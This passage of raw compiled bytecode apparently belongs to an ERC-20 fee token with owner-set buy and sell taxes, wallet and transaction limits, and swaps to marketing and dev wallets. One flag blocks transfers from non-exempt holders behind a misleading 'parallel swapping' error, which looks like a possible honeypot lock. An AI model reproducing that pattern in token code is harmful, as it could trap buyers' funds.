ffffffffffffffffffffff16146116a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169c906144b5565b60405180910390fd5b6116af6000613504565b565b60006116bb612600565b73ffffffffffffffffffffffffffffffffffffffff166116d96119c7565b73ffffffffffffffffffffffffffffffffffffffff161461172f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611726906144b5565b60405180910390fd5b6000600860006101000a81548160ff0219169083151502179055507f7bfa7bacf025baa75e5308bf15bcf2948f406c7ebe3eb1a8bb611862b9d647ef60405160405180910390a16001905090565b611785612600565b73ffffffffffffffffffffffffffffffffffffffff166117a36119c7565b73ffffffffffffffffffffffffffffffffffffffff16146117f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f0906144b5565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a5481565b611862612600565b73ffffffffffffffffffffffffffffffffffffffff166118806119c7565b73ffffffffffffffffffffffffffffffffffffffff16146118d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cd906144b5565b60405180910390fd5b82600a8190555081600b8190555080600c81905550600c54600b54600a546118fe91906148af565b61190891906148af565b600981905550505050565b61191b612600565b73ffffffffffffffffffffffffffffffffffffffff166119396119c7565b73ffffffffffffffffffffffffffffffffffffffff161461198f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611986906144b5565b60405180910390fd5b6001600860016101000a81548160ff0219169083151502179055506001600860026101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e5481565b6119ff612600565b73ffffffffffffffffffffffffffffffffffffffff16611a1d6119c7565b73ffffffffffffffffffffffffffffffffffffffff1614611a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6a906144b5565b60405180910390fd5b80600860026101000a81548160ff02191690831515021790555050565b606060048054611a9f90614438565b80601f0160208091040260200160405190810160405280929190818152602001828054611acb90614438565b8015611b185780601f10611aed57610100808354040283529160200191611b18565b820191906000526020600020905b815481529060010190602001808311611afb57829003601f168201915b5050505050905090565b611b2a612600565b73ffffffffffffffffffffffffffffffffffffffff16611b486119c7565b73ffffffffffffffffffffffffffffffffffffffff1614611b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b95906144b5565b60405180910390fd5b7f00000000000000000000000038d32225e48f23c2335461e4d10b59241db6f4eb73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2390614955565b60405180910390fd5b611c3682826135ca565b5050565b600c5481565b60135481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b60008060016000611c81612600565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d35906149e7565b60405180910390fd5b611d52611d49612600565b85858403612608565b600191505092915050565b6000611d71611d6a612600565b8484612858565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611dd557600080fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601c6020528060005260406000206000915054906101000a900460ff1681565b600860019054906101000a900460ff1681565b611ed0612600565b73ffffffffffffffffffffffffffffffffffffffff16611eee6119c7565b73ffffffffffffffffffffffffffffffffffffffff1614611f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3b906144b5565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611fe19190614110565b60405180910390a25050565b611ff5612600565b73ffffffffffffffffffffffffffffffffffffffff166120136119c7565b73ffffffffffffffffffffffffffffffffffffffff1614612069576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612060906144b5565b60405180910390fd5b82600e8190555081600f8190555080601081905550601054600f54600e5461209191906148af565b61209b91906148af565b600d81905550505050565b6120ae612600565b73ffffffffffffffffffffffffffffffffffffffff166120cc6119c7565b73ffffffffffffffffffffffffffffffffffffffff1614612122576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612119906144b5565b60405180910390fd5b670de0b6b3a76400006103e86005612138610e4d565b61214291906146e9565b61214c919061475a565b612156919061475a565b811015612198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218f90614a79565b60405180910390fd5b670de0b6b3a7640000816121ac91906146e9565b60198190555050565b60175481565b60076020528060005260406000206000915090505481565b60006121dd612600565b73ffffffffffffffffffffffffffffffffffffffff166121fb6119c7565b73ffffffffffffffffffffffffffffffffffffffff1614612251576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612248906144b5565b60405180910390fd5b620186a0600161225f610e4d565b61226991906146e9565b612273919061475a565b8210156122b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ac90614b0b565b60405180910390fd5b6103e860056122c2610e4d565b6122cc91906146e9565b6122d6919061475a565b821115612318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230f90614b9d565b60405180910390fd5b8160188190555060019050919050565b60095481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b600b5481565b6123c9612600565b73ffffffffffffffffffffffffffffffffffffffff166123e76119c7565b73ffffffffffffffffffffffffffffffffffffffff161461243d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612434906144b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036124ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a390614c2f565b60405180910390fd5b6124b581613504565b50565b600f5481565b60195481565b6124cc612600565b73ffffffffffffffffffffffffffffffffffffffff166124ea6119c7565b73ffffffffffffffffffffffffffffffffffffffff1614612540576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612537906144b5565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8e4fb3162b55d3fcdb7507ecfed5ab4ea5d2bd7494d0bb621d698a52ea3f74b460405160405180910390a380601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266e90614cc1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036126e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126dd90614d53565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516127c491906141e1565b60405180910390a3505050565b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161280e93929190614d73565b6020604051808303816000875af115801561282d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128519190614dbf565b5050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128be90614e5e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292d90614ef0565b60405180910390fd5b6000810361294f5761294a8383600061366b565b6134ff565b600860009054906101000a900460ff1615612e4a5761296c6119c7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156129da57506129aa6119c7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612a135750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612a4d575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612a665750600860039054906101000a900460ff16155b15612e4957600860019054906101000a900460ff16612b6057601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b205750601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b5690614f5c565b60405180910390fd5b5b601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c035750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612caa57601754811115612c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4490614fee565b60405180910390fd5b601954612c59836115e1565b82612c6491906148af565b1115612ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9c9061505a565b60405180910390fd5b612e48565b601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612d4d5750601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d9c57601754811115612d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8e906150ec565b60405180910390fd5b612e47565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612e4657601954612df9836115e1565b82612e0491906148af565b1115612e45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e3c9061505a565b60405180910390fd5b5b5b5b5b5b6000612e55306115e1565b9050600060185482101590507f00000000000000000000000038d32225e48f23c2335461e4d10b59241db6f4eb73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603612f45576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403612f405743600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b612f9c565b600860039054906101000a900460ff16612f9b5784600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b808015612fb55750600860029054906101000a900460ff165b8015612fce5750600860039054906101000a900460ff16155b80156130245750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561307a5750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156130d05750601a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613114576001600860036101000a81548160ff0219169083151502179055506130f86138ea565b6000600860036101000a81548160ff0219169083151502179055505b6000600860039054906101000a900460ff16159050601a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806131ca5750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156131d457600090505b601d60009054906101000a900460ff161561327657601a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161326c9061517e565b60405180910390fd5b5b600081156134ef57601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156132d957506000600d54115b156133a65761330660646132f8600d5488613be590919063ffffffff16565b613bfb90919063ffffffff16565b9050600d54600f548261331991906146e9565b613323919061475a565b6012600082825461333491906148af565b92505081905550600d546010548261334c91906146e9565b613356919061475a565b6013600082825461336791906148af565b92505081905550600d54600e548261337f91906146e9565b613389919061475a565b6011600082825461339a91906148af565b925050819055506134cb565b601c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561340157506000600954115b156134ca5761342e606461342060095488613be590919063ffffffff16565b613bfb90919063ffffffff16565b9050600954600b548261344191906146e9565b61344b919061475a565b6012600082825461345c91906148af565b92505081905550600954600c548261347491906146e9565b61347e919061475a565b6013600082825461348f91906148af565b92505081905550600954600a54826134a791906146e9565b6134b1919061475a565b601160008282546134c291906148af565b925050819055505b5b60008111156134e0576134df87308361366b565b5b80856134ec919061519e565b94505b6134fa87878761366b565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036136da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136d190614e5e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613749576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161374090614ef0565b60405180910390fd5b613754838383613c11565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156137da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137d190615244565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461386d91906148af565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516138d191906141e1565b60405180910390a36138e4848484613c16565b50505050565b60006138f5306115e1565b9050600060135460115460125461390c91906148af565b61391691906148af565b90506000808314806139285750600082145b1561393557505050613be3565b600260185461394491906146e9565b83111561395d57600260185461395a91906146e9565b92505b60006002836012548661397091906146e9565b61397a919061475a565b613984919061475a565b9050600061399b8286613c1b90919063ffffffff16565b905060004790506139ab82613c31565b60006139c08247613c1b90919063ffffffff16565b905060006139eb876139dd60115485613be590919063ffffffff16565b613bfb90919063ffffffff16565b90506000613a1688613a0860135486613be590919063ffffffff16565b613bfb90919063ffffffff16565b90506000818385613a27919061519e565b613a31919061519e565b9050600060128190555060006011819055506000601381905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051613a9190615295565b60006040518083038185875af1925050503d8060008114613ace576040519150601f19603f3d011682016040523d82523d6000602084013e613ad3565b606091505b50508098505087613ae357600080fd5b600087118015613af35750600081115b15613b4057613b028782613e6e565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601254604051613b37939291906152aa565b60405180910390a15b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613b8690615295565b60006040518083038185875af1925050503d8060008114613bc3576040519150601f19603f3d011682016040523d82523d6000602084013e613bc8565b606091505b50508098505087613bd857600080fd5b505050505050505050505b565b60008183613bf391906146e9565b905092915050565b60008183613c09919061475a565b905092915050565b505050565b505050565b60008183613c29919061519e565b905092915050565b6000600267ffffffffffffffff811115613c4e57613c4d6144d5565b5b604051908082528060200260200182016040528015613c7c5781602001602082028036833780820191505090505b5090503081600081518110613c9457613c93614546565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613d39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d5d9190614519565b81600181518110613d7157613d70614546565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613dd6307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612608565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613e389594939291906152e1565b600060405180830381600087803b158015613e5257600080fd5b505af1158015613e66573d6000803e3d6000fd5b505050505050565b613e99307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612608565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401613f209695949392919061533b565b60606040518083038185885af1158015613f3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613f6391906153b1565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613fa4578082015181840152602081019050613f89565b60008484015250505050565b6000601f19601f8301169050919050565b6000613fcc82613f6a565b613fd68185613f75565b9350613fe6818560208601613f86565b613fef81613fb0565b840191505092915050565b600060208201905081810360008301526140148184613fc1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061404c82614021565b9050919050565b61405c81614041565b811461406757600080fd5b50565b60008135905061407981614053565b92915050565b6000819050919050565b6140928161407f565b811461409d57600080fd5b50565b6000813590506140af81614089565b92915050565b600080604083850312156140cc576140cb61401c565b5b60006140da8582860161406a565b92505060206140eb858286016140a0565b9150509250929050565b60008115159050919050565b61410a816140f5565b82525050565b60006020820190506141256000830184614101565b92915050565b6000602082840312156141415761414061401c565b5b600061414f8482850161406a565b91505092915050565b6000819050919050565b600061417d61417861417384614021565b614158565b614021565b9050919050565b600061418f82614162565b9050919050565b60006141a182614184565b9050919050565b6141b181614196565b82525050565b60006020820190506141cc60008301846141a8565b92915050565b6141db8161407f565b82525050565b60006020820190506141f660008301846141d2565b92915050565b6000806000606084860312156142155761421461401c565b5b60006142238682870161406a565b93505060206142348682870161406a565b9250506040614245868287016140a0565b9150509250925092565b6000602082840312156142655761426461401c565b5b6000614273848285016140a0565b91505092915050565b61428581614041565b82525050565b60006020820190506142a0600083018461427c565b92915050565b600060ff82169050919050565b6142bc816142a6565b82525050565b60006020820190506142d760008301846142b3565b92915050565b6142e6816140f5565b81146142f157600080fd5b50565b600081359050614303816142dd565b92915050565b600080604083850312156143205761431f61401c565b5b600061432e8582860161406a565b925050602061433f858286016142f4565b9150509250929050565b6000806000606084860312156143625761436161401c565b5b6000614370868287016140a0565b9350506020614381868287016140a0565b9250506040614392868287016140a0565b9150509250925092565b6000602082840312156143b2576143b161401c565b5b60006143c0848285016142f4565b91505092915050565b600080604083850312156143e0576143df61401c565b5b60006143ee8582860161406a565b92505060206143ff8582860161406a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061445057607f821691505b60208210810361446357614462614409565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061449f602083613f75565b91506144aa82614469565b602082019050919050565b600060208201905081810360008301526144ce81614492565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061451381614053565b92915050565b60006020828403121561452f5761452e61401c565b5b600061453d84828501614504565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061459a61459561459084614575565b614158565b61407f565b9050919050565b6145aa8161457f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6145e581614041565b82525050565b60006145f783836145dc565b60208301905092915050565b6000602082019050919050565b600061461b826145b0565b61462581856145bb565b9350614630836145cc565b8060005b8381101561466157815161464888826145eb565b975061465383614603565b925050600181019050614634565b5085935050505092915050565b600060808201905061468360008301876145a1565b81810360208301526146958186614610565b90506146a4604083018561427c565b6146b160608301846141d2565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006146f48261407f565b91506146ff8361407f565b925082820261470d8161407f565b91508282048414831517614724576147236146ba565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006147658261407f565b91506147708361407f565b9250826147805761477f61472b565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006147e7602f83613f75565b91506147f28261478b565b604082019050919050565b60006020820190508181036000830152614816816147da565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000614879602883613f75565b91506148848261481d565b604082019050919050565b600060208201905081810360008301526148a88161486c565b9050919050565b60006148ba8261407f565b91506148c58361407f565b92508282019050808211156148dd576148dc6146ba565b5b92915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b600061493f603983613f75565b915061494a826148e3565b604082019050919050565b6000602082019050818103600083015261496e81614932565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006149d1602583613f75565b91506149dc82614975565b604082019050919050565b60006020820190508181036000830152614a00816149c4565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614a63602483613f75565b9150614a6e82614a07565b604082019050919050565b60006020820190508181036000830152614a9281614a56565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614af5603583613f75565b9150614b0082614a99565b604082019050919050565b60006020820190508181036000830152614b2481614ae8565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b6000614b87603483613f75565b9150614b9282614b2b565b604082019050919050565b60006020820190508181036000830152614bb681614b7a565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614c19602683613f75565b9150614c2482614bbd565b604082019050919050565b60006020820190508181036000830152614c4881614c0c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614cab602483613f75565b9150614cb682614c4f565b604082019050919050565b60006020820190508181036000830152614cda81614c9e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614d3d602283613f75565b9150614d4882614ce1565b604082019050919050565b60006020820190508181036000830152614d6c81614d30565b9050919050565b6000606082019050614d88600083018661427c565b614d95602083018561427c565b614da260408301846141d2565b949350505050565b600081519050614db9816142dd565b92915050565b600060208284031215614dd557614dd461401c565b5b6000614de384828501614daa565b91505092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614e48602583613f75565b9150614e5382614dec565b604082019050919050565b60006020820190508181036000830152614e7781614e3b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614eda602383613f75565b9150614ee582614e7e565b604082019050919050565b60006020820190508181036000830152614f0981614ecd565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000614f46601683613f75565b9150614f5182614f10565b602082019050919050565b60006020820190508181036000830152614f7581614f39565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000614fd8603583613f75565b9150614fe382614f7c565b604082019050919050565b6000602082019050818103600083015261500781614fcb565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000615044601383613f75565b915061504f8261500e565b602082019050919050565b6000602082019050818103600083015261507381615037565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006150d6603683613f75565b91506150e18261507a565b604082019050919050565b60006020820190508181036000830152615105816150c9565b9050919050565b7f6578697374696e672070617272616c6c656c207377617070696e672c2063616e60008201527f277420616c6c6f7720646f75626c650000000000000000000000000000000000602082015250565b6000615168602f83613f75565b91506151738261510c565b604082019050919050565b600060208201905081810360008301526151978161515b565b9050919050565b60006151a98261407f565b91506151b48361407f565b92508282039050818111156151cc576151cb6146ba565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061522e602683613f75565b9150615239826151d2565b604082019050919050565b6000602082019050818103600083015261525d81615221565b9050919050565b600081905092915050565b50565b600061527f600083615264565b915061528a8261526f565b600082019050919050565b60006152a082615272565b9150819050919050565b60006060820190506152bf60008301866141d2565b6152cc60208301856141d2565b6152d960408301846141d2565b949350505050565b600060a0820190506152f660008301886141d2565b61530360208301876145a1565b81810360408301526153158186614610565b9050615324606083018561427c565b61533160808301846141d2565b9695505050505050565b600060c082019050615350600083018961427c565b61535d60208301886141d2565b61536a60408301876145a1565b61537760608301866145a1565b615384608083018561427c565b61539160a08301846141d2565b979650505050505050565b6000815190506153ab81614089565b92915050565b6000806000606084860312156153ca576153c961401c565b5b60006153d88682870161539c565b93505060206153e98682870161539c565b92505060406153fa8682870161539c565b915050925092509256fea264697066735822122057b7c9583d8e3a37565a2f6457b6560d612dc7f1614321edf2a3c7e0bcdf8a5064736f6c63430008130033

Deployed Bytecode Sourcemap

